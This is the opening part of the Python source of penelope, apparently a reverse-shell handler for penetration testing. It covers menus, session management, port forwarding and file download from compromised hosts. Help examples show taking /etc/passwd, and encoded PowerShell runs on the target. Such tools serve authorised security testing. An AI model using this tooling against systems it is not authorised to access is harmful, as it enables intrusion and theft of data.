#!/usr/bin/env python3 # Copyright © 2021 - 2026 @brightio # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see . __program__= "penelope" __version__ = "0.21.8" import os import io import re import sys import pwd import tty import ssl import time import gzip import json import shlex import queue import codecs import struct import shutil import atexit import socket import signal import base64 import secrets import termios import tarfile import logging import zipfile import inspect import tempfile import platform import itertools import traceback import threading import subprocess import socketserver from math import ceil from glob import glob from json import dumps from code import interact from zlib import compress from errno import EADDRINUSE, EADDRNOTAVAIL from select import select from pathlib import Path, PureWindowsPath from argparse import ArgumentParser, RawTextHelpFormatter from datetime import datetime from textwrap import indent, dedent from binascii import Error as binascii_error from functools import wraps from contextlib import ExitStack from collections import deque, defaultdict from urllib.parse import unquote, quote, urlsplit from urllib.error import HTTPError, URLError from urllib.request import Request, urlopen ################################## PYTHON MISSING BATTERIES #################################### from string import ascii_letters from random import choice, randint rand = lambda _len: ''.join(choice(ascii_letters) for i in range(_len)) caller = lambda: inspect.stack()[2].function #bdebug = lambda file, data: open("/tmp/" + file, "a").write(repr(data) + "\n") chunks = lambda string, length: (string[0 + i:length + i] for i in range(0, len(string), length)) pathlink = lambda path: f'\x1b]8;;file://{quote(str(path.parents[0]))}\x07{sanitize_meta(str(path.parents[0]))}{os.path.sep}\x1b]8;;\x07\x1b]8;;file://{quote(str(path))}\x07{sanitize_meta(path.name)}\x1b]8;;\x07' normalize_path = lambda path: os.path.normpath(os.path.expandvars(os.path.expanduser(path))) shell_unescape = lambda s: re.sub(r'\\(.)', r'\1', s) shell_escape = lambda s: ''.join((chr(92) + c if c in (' ' + chr(39) + chr(34) + chr(92) + ';&(|<>=:') else c) for c in s) shell_escape_glob = lambda s: re.sub(r'[^\w@%+=:,./~*?\[\]-]', lambda m: '\\' + m.group(0), s) visible_len = lambda s: len(re.sub(r'\x1b\[[0-9;]*m|[\x01\x02]', '', str(s))) sanitize_meta = lambda s: ''.join(c for c in s if c.isprintable()) if isinstance(s, str) else s HTTP_CONTROL_CHAR_TABLE = {char: r'\x{:02x}'.format(char) for char in list(range(32)) + list(range(127, 160))} HTTP_CONTROL_CHAR_TABLE[ord('\\')] = r'\\' def Open(item, terminal=False): if myOS != 'Darwin' and not DISPLAY: logger.error("No available $DISPLAY") return False if not terminal: program = 'xdg-open' if myOS != 'Darwin' else 'open' args = [item] elif myOS == 'Darwin': try: fd, cmd_path = tempfile.mkstemp(prefix='penelope-', suffix='.command') with os.fdopen(fd, 'w') as f: f.write(f"#!/bin/sh\n{item}\n") os.chmod(cmd_path, 0o700) except OSError as e: logger.error(f"Cannot open terminal window: {e}") return False program, args = 'open', [cmd_path] else: program = terminal_emulator() if not program: logger.error("No available terminal emulator") return False if program == 'xdg-terminal-exec': args = [*shlex.split(item)] else: _switch = '-e' if program in ('gnome-terminal', 'mate-terminal'): _switch = '--' elif program == 'terminator': _switch = '-x' elif program == 'xfce4-terminal': _switch = '--command=' args = [_switch, *shlex.split(item)] if not shutil.which(program): logger.error(f"Cannot open window: '{program}' binary does not exist") return False process = subprocess.Popen( (program, *args), stdin=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE ) if not terminal: try: process.wait(timeout=2) except subprocess.TimeoutExpired: return True if process.returncode != 0: error = process.stderr.read().decode(errors="replace").strip() logger.error(f"Could not open '{item}'" + (f": {error}" if error else f" (exit code {process.returncode})")) return False return True r, _, _ = select([process.stderr], [], [], .01) if process.stderr in r: error = os.read(process.stderr.fileno(), 1024) if error: logger.error(error.decode(errors="replace")) return False return True class Interfaces: def __str__(self): table = Table(joinchar=' : ') table.header = [paint('Interface').MAGENTA, paint('IP Address').MAGENTA] grouped = {} for name, ip in self.pairs: grouped.setdefault(name, []).append(ip) for name, ips in grouped.items(): table += [paint(name).cyan, paint(', '.join(ips)).yellow] return str(table) def translate(self, interface_name): interfaces = self.list if interface_name in interfaces: return interfaces[interface_name] elif interface_name in ('any', 'all'): return '0.0.0.0' else: return interface_name @staticmethod def ipa(busybox=False): interfaces = [] current_interface = None params = ['ip', 'addr'] if busybox: params.insert(0, 'busybox') try: output = subprocess.check_output(params, stderr=subprocess.DEVNULL).decode(errors="replace") except (subprocess.CalledProcessError, OSError): return interfaces for line in output.splitlines(): interface = re.search(r"^\d+:\s+(.+?)(?:@\w+)?:", line) if interface: current_interface = interface[1] continue if current_interface: ip = re.search(r"\binet (\d+\.\d+\.\d+\.\d+)", line) if ip: interfaces.append((current_interface, ip[1])) return interfaces @staticmethod def ifconfig(): interfaces = [] try: output = subprocess.check_output(['ifconfig'], stderr=subprocess.DEVNULL).decode(errors="replace") except (subprocess.CalledProcessError, OSError): return interfaces current_interface = None for line in output.splitlines(): if line and not line[0].isspace(): header = re.match(r'(\S+?):?\s', line) current_interface = header[1] if header else None elif current_interface: ip = re.search(r'\binet (?:addr:)?(\d+\.\d+\.\d+\.\d+)', line) if ip: interfaces.append((current_interface, ip[1])) return interfaces @property def pairs(self): if shutil.which("ip"): return self.ipa() elif shutil.which("ifconfig"): return self.ifconfig() elif shutil.which("busybox"): return self.ipa(busybox=True) logger.error("'ip', 'ifconfig' and 'busybox' commands are not available. (Really???)") return [] @property def list(self): result = {} for name, ip in self.pairs: result.setdefault(name, ip) return result @property def ips(self): seen = set() result = [] for _, ip in self.pairs: if ip not in seen: seen.add(ip) result.append(ip) return result @property def list_all(self): seen = set() result = [] for name, ip in self.pairs: for item in (name, ip): if item not in seen: seen.add(item) result.append(item) return result class Table: def __init__(self, list_of_lists=[], header=None, fillchar=" ", joinchar=" "): self.list_of_lists = list_of_lists self.joinchar = joinchar if type(fillchar) is str: self.fillchar = [fillchar] elif type(fillchar) is list: self.fillchar = fillchar # self.fillchar[0] = self.fillchar[0][0] self.data = [] self.max_row_len = 0 self.col_max_lens = [] if header: self.header = header for row in self.list_of_lists: self += row @property def header(self): ... @header.setter def header(self, header): self.add_row(header, header=True) def __str__(self): self.fill() return "\n".join([self.joinchar.join(row) for row in self.data]) def __len__(self): return len(self.data) def add_row(self, row, header=False): row_len = len(row) if row_len > self.max_row_len: self.max_row_len = row_len cur_col_len = len(self.col_max_lens) for _ in range(row_len - cur_col_len): self.col_max_lens.append(0) for _ in range(cur_col_len - row_len): row.append("") new_row = [] for index, element in enumerate(row): if not isinstance(element, (str, paint)): element = str(element) elem_length = len(element) new_row.append(element) if elem_length > self.col_max_lens[index]: self.col_max_lens[index] = elem_length if header: self.data.insert(0, new_row) else: self.data.append(new_row) def __iadd__(self, row): self.add_row(row) return self def fill(self): for row in self.data: for index, element in enumerate(row): fillchar = ' ' if index in [*self.fillchar][1:]: fillchar = self.fillchar[0] row[index] = element + fillchar * (self.col_max_lens[index] - len(element)) class Size: units = ("", "K", "M", "G", "T", "P", "E", "Z", "Y") def __init__(self, _bytes): self.bytes = _bytes def __str__(self): index = 0 new_size = self.bytes while new_size >= 1024 and index < len(__class__.units) - 1: new_size /= 1024 index += 1 return f"{new_size:.1f} {__class__.units[index]}B" @classmethod def from_str(cls, string): if string.isnumeric(): _bytes = int(string) else: try: num, unit = int(string[:-1]), string[-1] _bytes = num * 1024 ** __class__.units.index(unit) except ValueError: raise ValueError(f"Invalid size specified: {string!r}") return cls(_bytes) from datetime import timedelta from threading import Thread, RLock, current_thread class PBar: pbars = [] def __init__(self, end, caption="", barlen=None, queue=None, metric=None, reverse=False, clear=False): self.clear = clear self.end = end if type(self.end) is not int: self.end = len(self.end) self.active = True if self.end > 0 else False self.pos = 0 self.percent = 0 self.caption = caption self.bar = '•' self.reverse = reverse self.barlen = barlen self.percent_prev = -1 self.queue = queue self.metric = metric self.check_interval = 1 if self.queue: self.trace_thread = Thread(target=self.trace); self.trace_thread.start(); __class__.render_lock = RLock() if self.metric: Thread(target=self.watch_speed, daemon=True).start() else: self.metric = lambda x: f"{x:,}" __class__.pbars.append(self) print("\x1b[?25l", end='', flush=True) self.render() def __bool__(self): return self.active def __enter__(self): return self def __exit__(self, exc_type, exc_value, traceback): self.terminate() def trace(self): while True: data = self.queue.get() self.queue.task_done() if isinstance(data, int): self.update(data) elif data is None: break else: self.print(data) def watch_speed(self): self.pos_prev = 0 self.elapsed = 0 started = previous = time.monotonic() while self: time.sleep(self.check_interval) now = time.monotonic() interval = now - previous self.elapsed = now - started self.speed = (self.pos - self.pos_prev) / interval if interval else 0 self.pos_prev = self.pos previous = now self.speed_avg = self.pos / self.elapsed if self.speed_avg: self.eta = max(0, int((self.end - self.pos) / self.speed_avg)) if self: self.render() def update(self, step=1): if not self: return False self.pos += step if self.pos >= self.end: self.pos = self.end self.percent = int(self.pos * 100 / self.end) if self.pos >= self.end: self.terminate() if self.percent > self.percent_prev: self.render() def render_one(self): self.percent_prev = self.percent left = f"{self.caption}" elapsed = "" if not hasattr(self, 'elapsed') else f" | Elapsed {timedelta(seconds=int(self.elapsed))}" speed = "" if not hasattr(self, 'speed') else f" | {self.metric(self.speed)}/s" eta = "" if not hasattr(self, 'eta') else f" | ETA {timedelta(seconds=self.eta)}" info = f"{str(self.percent).rjust(3)}% ({self.metric(self.pos)}/{self.metric(self.end)}){speed}{elapsed}{eta}" right = f" {paint(info).darkgrey}" try: columns = os.get_terminal_size().columns except OSError: columns = 80 if self.barlen: bar_space = min(self.barlen, max(1, columns - visible_len(left) - visible_len(right))) else: bar_space = columns - visible_len(left) - visible_len(right) n = int(self.percent * bar_space / 100) color = 'softgreen' if self.reverse else 'softorange' fill = f"{getattr(paint(self.bar * n), color)}" track = f"{paint('◦' * (bar_space - n)).darkgrey}" filled = track + fill if self.reverse else fill + track print(f'\x1b[2K{left}{filled}{right}\n', end='', flush=True) def render(self): if hasattr(__class__, 'render_lock'): __class__.render_lock.acquire() for pbar in __class__.pbars: pbar.render_one() print(f"\x1b[{len(__class__.pbars)}A", end='', flush=True) if hasattr(__class__, 'render_lock'): __class__.render_lock.release() def print(self, data): if hasattr(__class__, 'render_lock'): __class__.render_lock.acquire() print(f"\x1b[2K{data}", flush=True) self.render() if hasattr(__class__, 'render_lock'): __class__.render_lock.release() def terminate(self): if self.queue and current_thread() != self.trace_thread: self.queue.join(); self.queue.put(None) if hasattr(__class__, 'render_lock'): __class__.render_lock.acquire() try: if not self: return self.active = False if hasattr(self, 'eta'): del self.eta if not any(__class__.pbars): n = len(__class__.pbars) if self.clear: print("\x1b[?25h" + ("\x1b[2K\x1b[1B" * n) + f"\x1b[{n}A", end='', flush=True) else: self.render() print("\x1b[?25h" + '\n' * n, end='', flush=True) __class__.pbars.clear() finally: if hasattr(__class__, 'render_lock'): __class__.render_lock.release() class paint: _codes = {'RESET':0, 'BRIGHT':1, 'DIM':2, 'UNDERLINE':4, 'BLINK':5, 'NORMAL':22} _colors = {'black':0, 'red':1, 'green':2, 'yellow':3, 'blue':4, 'magenta':5, 'cyan':6, 'orange':208, 'white':15, 'lightgrey':250, 'darkgrey':242, 'softorange':173, 'softgreen':71} _escape = lambda codes: f"\001\x1b[{codes}m\002" def __init__(self, text=None, colors=None): self.text = str(text) if text is not None else None self.colors = colors or [] def __str__(self): if self.colors: content = self.text + __class__._escape(__class__._codes['RESET']) if self.text is not None else '' return __class__._escape(';'.join(self.colors)) + content return self.text def __len__(self): return visible_len(self.text) if self.text else 0 def __add__(self, text): return str(self) + str(text) def __mul__(self, num): return __class__(self.text * num, self.colors) def __getattr__(self, attr): self.colors.clear() for color in attr.split('_'): if color in __class__._codes: self.colors.append(str(__class__._codes[color])) else: prefix = "3" if color in __class__._colors else "4" self.colors.append(prefix + "8;5;" + str(__class__._colors[color.lower()])) return self class CustomFormatter(logging.Formatter): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.templates = { logging.CRITICAL: {'color':"RED", 'prefix':"[!!!]"}, logging.ERROR: {'color':"red", 'prefix':"[-]"}, logging.WARNING: {'color':"yellow", 'prefix':"[!]"}, logging.TRACE: {'color':"cyan", 'prefix':"[•]"}, logging.INFO: {'color':"green", 'prefix':"[+]"}, logging.DEBUG: {'color':"magenta", 'prefix':"[DEBUG]"} } def format(self, record): template = self.templates[record.levelno] thread = "" if record.levelno is logging.DEBUG or options.debug: thread = paint(" ") + paint(threading.current_thread().name).white_CYAN prefix = "\x1b[2K\r" suffix = "\r\n" if core.wait_input: suffix += bytes(core.output_line_buffer).decode(errors="replace") + (readline.get_line_buffer() if readline else '') elif core.attached_session: suffix += bytes(core.output_line_buffer).decode(errors="replace") text = f"{template['prefix']}{thread} {logging.Formatter.format(self, record)}" return f"{prefix}{getattr(paint(text), template['color'])}{suffix}" class HelpFormatter(RawTextHelpFormatter): def _format_action_invocation(self, action): if not action.option_strings or action.nargs == 0: return super()._format_action_invocation(action) return ', '.join(action.option_strings) class LineBuffer: def __init__(self, length): self.len = length self.lines = deque(maxlen=self.len) def __lshift__(self, data): if isinstance(data, str): data = data.encode() if self.lines and not self.lines[-1].endswith(b'\n'): current_partial = self.lines.pop() else: current_partial = b'' self.lines.extend((current_partial + data).split(b'\n')) return self def __bytes__(self): return b'\n'.join(self.lines) def stdout(data, record=True): try: os.write(sys.stdout.fileno(), data) except OSError: pass if record: core.output_line_buffer << data def ask(text): while True: try: return input(f"{paint(f'[?] {text}').yellow}") except EOFError: print() if not sys.stdin.isatty(): return '' except KeyboardInterrupt: print("^C") return ' ' def my_input(text="", histfile=None, histlen=None, completer=lambda text, state: None, completer_delims=None): readline_quote_chars_saved = None if threading.current_thread().name == 'MainThread': signal.signal(signal.SIGINT, keyboard_interrupt) if readline: if readline_basic_quote_chars is not None: readline_quote_chars_saved = readline_basic_quote_chars.value readline_basic_quote_chars.value = ctypes.addressof(_readline_empty_quote_chars) readline.set_completer(completer) readline.set_completer_delims(completer_delims or default_readline_delims) readline.clear_history() if histfile: try: readline.read_history_file(histfile) except Exception as e: cmdlogger.debug(f"Error loading history file: {e}") #readline.set_auto_history(True) core.output_line_buffer << b"\n" + text.encode() core.wait_input = True try: response = original_input(text) if readline: #readline.set_completer(None) #readline.set_completer_delims(default_readline_delims) if histfile: try: readline.set_history_length(options.histlength) #readline.add_history(response) readline.write_history_file(histfile) except Exception as e: cmdlogger.debug(f"Error writing to history file: {e}") #readline.set_auto_history(False) return response finally: if readline_quote_chars_saved is not None: readline_basic_quote_chars.value = readline_quote_chars_saved core.wait_input = False class BetterCMD: def __init__(self, prompt=None, banner=None, histfile=None, histlen=None): self.prompt = prompt self.banner = banner self.histfile = histfile self.histlen = histlen self.cmdqueue = [] self.lastcmd = '' self.active = threading.Event() self.stop = False def show(self): print() self.active.set() def start(self): self.preloop() if self.banner: print(self.banner) stop = None while not self.stop: try: try: self.active.wait() if self.cmdqueue: line = self.cmdqueue.pop(0) else: line = input(self.prompt, self.histfile, self.histlen, self.complete, " \t\n\"'><=;|&(") signal.signal(signal.SIGINT, lambda num, stack: self.interrupt()) line = self.precmd(line) stop = self.onecmd(line) stop = self.postcmd(stop, line) if stop: self.active.clear() except EOFError: stop = self.onecmd('EOF') except Exception: custom_excepthook(*sys.exc_info()) except KeyboardInterrupt: print("^C") self.interrupt() self.postloop() def onecmd(self, line): cmd, arg, line = self.parseline(line) if cmd: try: func = getattr(self, 'do_' + cmd) self.lastcmd = line except AttributeError: return self.default(line) return func(arg) def default(self, line): cmdlogger.error("Invalid command") def interrupt(self): pass def parseline(self, line): line = line.lstrip() if not line: return None, None, line elif line[0] == '!': if not readline: cmdlogger.error("Command history recall requires readline support") return None, None, line index = line[1:].strip() hist_len = readline.get_current_history_length() if not index.isnumeric() or not (0 < int(index) < hist_len): cmdlogger.error("Invalid command number") readline.remove_history_item(hist_len - 1) return None, None, line line = readline.get_history_item(int(index)) readline.replace_history_item(hist_len - 1, line) return self.parseline(line) else: parts = line.split(' ', 1) if len(parts) == 1: return parts[0], None, line elif len(parts) == 2: return parts[0], parts[1], line def precmd(self, line): return line def postcmd(self, stop, line): return stop def preloop(self): pass def postloop(self): pass def do_reset(self, line): """ Reset the local terminal """ if shutil.which("reset"): os.system("reset") else: cmdlogger.error("'reset' command doesn't exist on the system") def do_exit(self, line): """ Exit cmd """ self.stop = True self.active.clear() def do_history(self, line): """ Show Main Menu history """ if readline: hist_len = readline.get_current_history_length() max_digits = len(str(hist_len)) for i in range(1, hist_len + 1): print(f" {i:>{max_digits}} {readline.get_history_item(i)}") else: cmdlogger.error("Python is not compiled with readline support") def do_DEBUG(self, line): """ Open debug console """ import rlcompleter if readline: readline.clear_history() try: readline.read_history_file(options.debug_histfile) except Exception as e: cmdlogger.debug(f"Error loading history file: {e}") interact(banner=paint( "===> Entering debugging console...").CYAN, local=globals(), exitmsg=paint("<=== Leaving debugging console..." ).CYAN) if readline: readline.set_history_length(options.histlength) try: readline.write_history_file(options.debug_histfile) except Exception as e: cmdlogger.debug(f"Error writing to history file: {e}") def completedefault(self, *ignored): return [] def resolve_command(self, command): return command def completenames(self, text, *ignored): dotext = 'do_' + text return [a[3:] for a in dir(self.__class__) if a.startswith(dotext)] def complete(self, text, state): if state == 0: origline = readline.get_line_buffer() line = origline.lstrip() stripped = len(origline) - len(line) begidx = readline.get_begidx() - stripped endidx = readline.get_endidx() - stripped if begidx > 0: cmd, args, _line = self.parseline(line) if cmd == '': compfunc = self.completedefault else: cmd = self.resolve_command(cmd) try: compfunc = getattr(self, 'complete_' + cmd) except AttributeError: compfunc = self.completedefault else: compfunc = self.completenames self.completion_matches = compfunc(text, line, begidx, endidx) active_arg, i = line[:endidx], 0 while i < len(active_arg): if active_arg[i] == '\\': i += 2 continue if active_arg[i].isspace(): active_arg = active_arg[i + 1:] i = 0 continue i += 1 if self.completion_matches == [text] and ("\\'" in active_arg or '\\"' in active_arg): self.completion_matches = [] try: return self.completion_matches[state] except IndexError: return None @staticmethod def complete_path(line, begidx, endidx, lister, expand=lambda p: p, windows=False): if windows: arg_start, quoted, i = 0, False, 0 while i < endidx: c = line[i] if c == '"': quoted = not quoted if quoted: arg_start = i + 1 elif c == ' ' and not quoted: arg_start = i + 1 i += 1 pattern = expand(line[arg_start:endidx]) cut = begidx - arg_start pat_ci = pattern.lower() results = [] for m in lister(pattern): if not m.lower().startswith(pat_ci): continue is_dir = m.endswith(('\\', '/')) if quoted: rendered = m if is_dir else m + '"' elif ' ' in m: rendered = ('"' + m) if is_dir else ('"' + m + '"') else: rendered = m results.append(rendered[cut:]) return results head, j, arg_start = line[:endidx], 0, 0 while j < len(head): if head[j] == '\\': j += 2 continue if head[j] == ' ': arg_start = j + 1 j += 1 unescaped = shell_unescape(line[arg_start:endidx]) pattern = expand(unescaped) prefix_escaped = line[arg_start:begidx] results = [] for m in lister(pattern): if not m.startswith(pattern): continue escaped = shell_escape(unescaped + m[len(pattern):]) if escaped.startswith(prefix_escaped): results.append(escaped[len(prefix_escaped):]) return results @staticmethod def _local_lister(pattern): out = [] for m in glob(pattern + '*'): if os.path.isdir(m): m += '/' out.append(m) return out ########################################################################################################## class MainMenu(BetterCMD): help_prompt = re.compile(r"Run 'help [^\']*' for more information") def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.set_id(None) self.commands = { "Session Operations":['run', 'upload', 'download', 'open', 'maintain', 'spawn', 'upgrade', 'exec', 'script', 'portfwd'], "Session Management":['sessions', 'use', 'interact', 'kill', 'dir|.'], "Shell Management" :['listeners', 'payloads', 'connect', 'Interfaces'], "Miscellaneous" :['help', 'modules', 'history', 'cd', 'lcd', 'reset', 'reload', 'SET', 'DEBUG', 'exit|quit|q|Ctrl+D'] } @property def raw_commands(self): return [command.split('|')[0] for command in sum(self.commands.values(), [])] def resolve_command(self, command): if command in self.raw_commands: return command matches = [candidate for candidate in self.raw_commands if candidate.startswith(command)] return matches[0] if len(matches) == 1 else command @property def active_sessions(self): active_sessions = len(core.sessions) if active_sessions: s = "s" if active_sessions > 1 else "" return paint(f" ({active_sessions} active session{s})").red + paint().yellow return "" @staticmethod def get_core_id_completion(text, *extra, attr='sessions'): choices = list(map(str, getattr(core, attr))) choices.extend(extra) return [choices for choices in choices if choices.startswith(text)] def set_id(self, ID): self.sid = ID session_part = ( f"{paint('─(').cyan_DIM}{paint('Session').green} " f"{paint('[' + str(self.sid) + ']').red}{paint(')').cyan_DIM}" ) if self.sid else '' self.prompt = ( f"{paint(f'(').cyan_DIM}{paint('Penelope').magenta}{paint(f')').cyan_DIM}" f"{session_part}{paint('>').cyan_DIM} " ) def session_operation(current=False, extra=[]): def inner(func): @wraps(func) def newfunc(self, ID): if current: if not self.sid: if core.sessions: cmdlogger.warning("No session ID selected. Select one with \"use [ID]\"") else: cmdlogger.warning("No available sessions to perform this action") return False if self.sid not in core.sessions: cmdlogger.warning(f"Session {self.sid} is no longer active") self.set_id(None) return False else: if ID: if ID.isnumeric() and int(ID) in core.sessions: ID = int(ID) elif ID not in extra: cmdlogger.warning("Invalid session ID") return False else: if self.sid: ID = self.sid else: cmdlogger.warning("No session selected") return None return func(self, ID) return newfunc return inner def interrupt(self): if core.attached_session and not core.attached_session.type == 'Readline': core.attached_session.detach() else: # TODO if menu.sid and not core.sessions[menu.sid].agent: # TEMP core.sessions[menu.sid].subchannel.control << 'stop' def show_help(self, command): parts = dedent(getattr(self, f"do_{command.split('|')[0]}").__doc__).split("\n") print("\n", paint(command).green, paint(parts[1]).blue, "\n") modified_parts = [] for part in parts[2:]: part = self.help_prompt.sub('', part) modified_parts.append(part) print(indent("\n".join(modified_parts), ' ')) if command == 'run': self.show_modules() def do_help(self, command): """ [command | -a] Show Main Menu help or help about a specific command Examples: help Show all commands at a glance help interact Show extensive information about a command help -a Show extensive information for all commands """ if command: if command == "-a": for section in self.commands: print(f'\n{paint(section).yellow}\n{paint("=" * len(section)).cyan}') for command in self.commands[section]: self.show_help(command) else: if command in self.raw_commands: self.show_help(command) else: cmdlogger.warning( f"No such command: '{command}'. " "Issue 'help' for all available commands" ) else: for section in self.commands: print(f'\n{paint(section).yellow}\n{paint("─" * len(section)).cyan}') table = Table(joinchar=' · ') for command in self.commands[section]: parts = dedent(getattr(self, f"do_{command.split('|')[0]}").__doc__).split("\n")[1:3] table += [paint(command).green, paint(parts[0]).blue, parts[1]] print(table) print() @session_operation(current=True) def do_cd(self, path): """ [remote path] Show/change the session's REMOTE working directory (used for transfers) Examples: cd Show remote directory cd /tmp Change remote directory to /tmp """ session = core.sessions[self.sid] if not path: print(paint(session.cwd).yellow) return if session.OS == 'Windows': try: path_parts = shlex.split(path, posix=False) except ValueError: path_parts = [] if len(path_parts) != 1: logger.error(f"Cannot change remote directory to: {paint(path).red}") return path = path_parts[0].strip('"') path_b64 = base64.b64encode(path.encode()).decode() script = ( f"$p=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('{path_b64}'));" "if(Test-Path -LiteralPath $p -PathType Container){" "(Resolve-Path -LiteralPath $p).Path}" ) encoded = base64.b64encode(script.encode('utf-16le')).decode() target = session.exec( f"powershell -NoProfile -EncodedCommand {encoded}", force_cmd=True, value=True ) valid_target = isinstance(target, str) and PureWindowsPath(target).is_absolute() else: path = shell_unescape(path) target = session.exec(f"cd {shlex.quote(path)} 2>/dev/null && pwd", value=True) valid_target = isinstance(target, str) and target.startswith('/') if valid_target: session._cwd = target if session.agent: session.exec(f"os.chdir({target!r})", python=True, value=True) logger.info(f"Remote directory changed to: {paint(target).yellow}") else: logger.error(f"Cannot change remote directory to: {paint(path).red}") def do_lcd(self, path): """ [local path] Show/change Penelope's LOCAL working directory Examples: lcd Show local directory lcd /path Change local directory to /path """ if not path: print(paint(os.getcwd()).yellow) else: path = Path(normalize_path(shell_unescape(path))).resolve() try: os.chdir(path) logger.info(f"Penelope's local directory changed to: {paint(path).yellow}") except Exception as e: logger.error(e) @session_operation(extra=['none']) def do_use(self, ID): """ [SessionID|none] Select a session Examples: use 1 Select the SessionID 1 use none Unselect any selected session """ if ID == 'none': self.set_id(None) else: self.set_id(ID) def do_sessions(self, line): """ [SessionID] List active sessions or interact with a session Examples: sessions Show active sessions sessions 1 Interact with SessionID 1 """ if line: if self.do_interact(line): return True else: if core.sessions: for host, sessions in tuple(core.hosts.items()): if not sessions: continue print('\n➤ ' + sessions[0].name_colored) table = Table(joinchar=' | ') table.header = [paint(header).cyan for header in ('ID', 'Shell', 'User', 'Source', 'Recv ↓', 'Sent ↑', 'Signal')] for session in tuple(sessions): if self.sid == session.id: ID = paint('[' + str(session.id) + ']').red elif session.new: ID = paint('<' + str(session.id) + '>').yellow_BLINK else: ID = paint(' ' + str(session.id)).yellow source = session.listener or f'Connect({session._host}:{session.port})' sig = signal_bars(session.signal) if session.rtt_ms is not None: jit = f"±{session.jitter_ms:.0f}" if session.jitter_ms else "" sig += " " + str(paint(f"{session.rtt_ms:.0f}{jit}ms").darkgrey) sig = paint(sig) table += [ ID, paint(session.type).CYAN if session.type == 'PTY' else session.type, session.user or 'N/A', source, Size(session.bytes_received), Size(session.bytes_sent), sig ] print("\n", indent(str(table), " "), "\n", sep="") else: print() cmdlogger.warning(f"No sessions yet {EMOJIS['no_sessions']}") print() @session_operation() def do_interact(self, ID): """ [SessionID] Interact with a session Examples: interact Interact with current session interact 1 Interact with SessionID 1 """ return core.sessions[ID].attach() @session_operation(extra=['*']) def do_kill(self, ID): """ [SessionID|*] Kill a session Examples: kill Kill the current session kill 1 Kill SessionID 1 kill * Kill all sessions """ if ID == '*': if not core.sessions: cmdlogger.warning("No sessions to kill") return False else: if ask(f"Kill all sessions{self.active_sessions} (y/N): ").lower() == 'y': if options.maintain > 1: options.maintain = 1 self.onecmd("maintain") for session in reversed(tuple(core.sessions.values())): session.kill() else: return False else: core.sessions[ID].kill() if options.single_session and len(core.sessions) == 1: core.stop() logger.info("Penelope exited due to Single Session mode") return True def do_portfwd(self, line): """ [ (->|<-) | stop ] Local and Remote port forwarding Examples: portfwd Show active Port Forwards portfwd -> 192.168.0.1:80 Forward 127.0.0.1:80 to 192.168.0.1:80 portfwd 8888 -> 192.168.0.1:80 Forward 127.0.0.1:8888 to 192.168.0.1:80 portfwd 0.0.0.0:8080 -> 192.168.0.1:80 Forward 0.0.0.0:8080 to 192.168.0.1:80 portfwd stop 1 Stop the Port Forward with ID 1 portfwd stop * Stop all Port Forwards """ if not line: if core.forwardings: table = Table(joinchar=' | ') table.header = [paint(header).orange for header in ('ID', 'Session', 'Type', 'Local', 'Remote')] for fwd in core.forwardings.values(): _type, lhost, lport, rhost, rport = fwd.info table += [fwd.id, fwd.session.id, 'Local' if _type == 'L' else 'Remote', f"{lhost}:{lport}", f"{rhost}:{rport}"] print('\n', indent(str(table), ' '), '\n', sep='') else: cmdlogger.warning("No active Port Forwards...") return args = line.split() if args[0] == 'stop': if len(args) < 2: cmdlogger.warning("Specify a Port Forward ID (or *) to stop") return False if args[1] == '*': forwardings = tuple(core.forwardings.values()) if not forwardings: cmdlogger.warning("No Port Forwards to stop...") return False for fwd in forwardings: fwd.stop() else: try: core.forwardings[int(args[1])].stop() except (KeyError, ValueError): cmdlogger.warning("Invalid Port Forward ID") return if not self.sid: if core.sessions: cmdlogger.warning("No session ID selected. Select one with \"use [ID]\"") else: cmdlogger.warning("No available sessions to perform this action") return False match = re.search(r"((?:.*)?)(<-|->)((?:.*)?)", line) if match: group1 = match.group(1) arrow = match.group(2) group2 = match.group(3) else: cmdlogger.warning("Invalid syntax") return False group1, group2 = group1.strip(), group2.strip() rhost = rport = lhost = lport = None if arrow == '->': _type = 'L' lhost = "127.0.0.1" if group2 and ':' in group2: rhost, rport = group2.rsplit(':', 1) lport = rport if not rport: cmdlogger.warning("At least remote port is required") return False if group1: if ':' in group1: lhost, lport = group1.rsplit(':', 1) if not lhost: lhost = "127.0.0.1" else: lport = group1 elif arrow == '<-': _type = 'R' if group2 and ':' in group2: rhost, rport = group2.rsplit(':', 1) if group1 and ':' in group1: lhost, lport = group1.rsplit(':', 1) else: cmdlogger.warning("At least local port is required") return False if not (rhost and rport): cmdlogger.warning("Remote endpoint (host:port) is required for reverse forwarding") return False for label, port in (("remote", rport), ("local", lport)): if not (port and port.isdigit() and 0 < int(port) <= 65535): cmdlogger.warning(f"Invalid {label} port: '{port}'. Valid numbers: 1-65535") return False if _type == 'R': cmdlogger.warning("Reverse (<-) port forwarding is not implemented yet") return False core.sessions[self.sid].portfwd(_type=_type, lhost=lhost, lport=lport, rhost=rhost, rport=int(rport)) @session_operation(current=True) def do_download(self, remote_items): """ ... [-o|--output ] Download files / folders from the target -o Save into Examples: download /etc Download a remote directory download /etc/passwd Download a remote file download /etc/cron* Download multiple remote files and directories using glob download /etc/issue /var/spool Download multiple remote files and directories at once """ download_folder = None remote_items = remote_items or '' windows_paths = getattr(core.sessions[self.sid], 'OS', None) == 'Windows' spans = [] start = None quote = None escaped = False for i, char in enumerate(remote_items): if start is None: if char.isspace(): continue start = i if escaped: escaped = False elif char == '\\' and not windows_paths: escaped = True elif quote: if char == quote: quote = None elif char in ('"' if windows_paths else "'\""): quote = char elif char.isspace(): spans.append((start, i)) start = None if start is not None: spans.append((start, len(remote_items))) remove = None for index, (begin, end) in enumerate(spans): token = remote_items[begin:end] if token == '--': remove = (begin, end) break if token in ('-o', '--output') and index + 1 < len(spans): folder_begin, folder_end = spans[index + 1] folder = remote_items[folder_begin:folder_end] try: parts = shlex.split(folder, posix=True) except ValueError: parts = None if parts and len(parts) == 1: download_folder = parts[0] remove = (begin, folder_end) break if remove: begin, end = remove remote_items = remote_items[:begin] + remote_items[end:] if download_folder is None and options.download_folder: download_folder = options.download_folder reroot = download_folder is not None remote_items 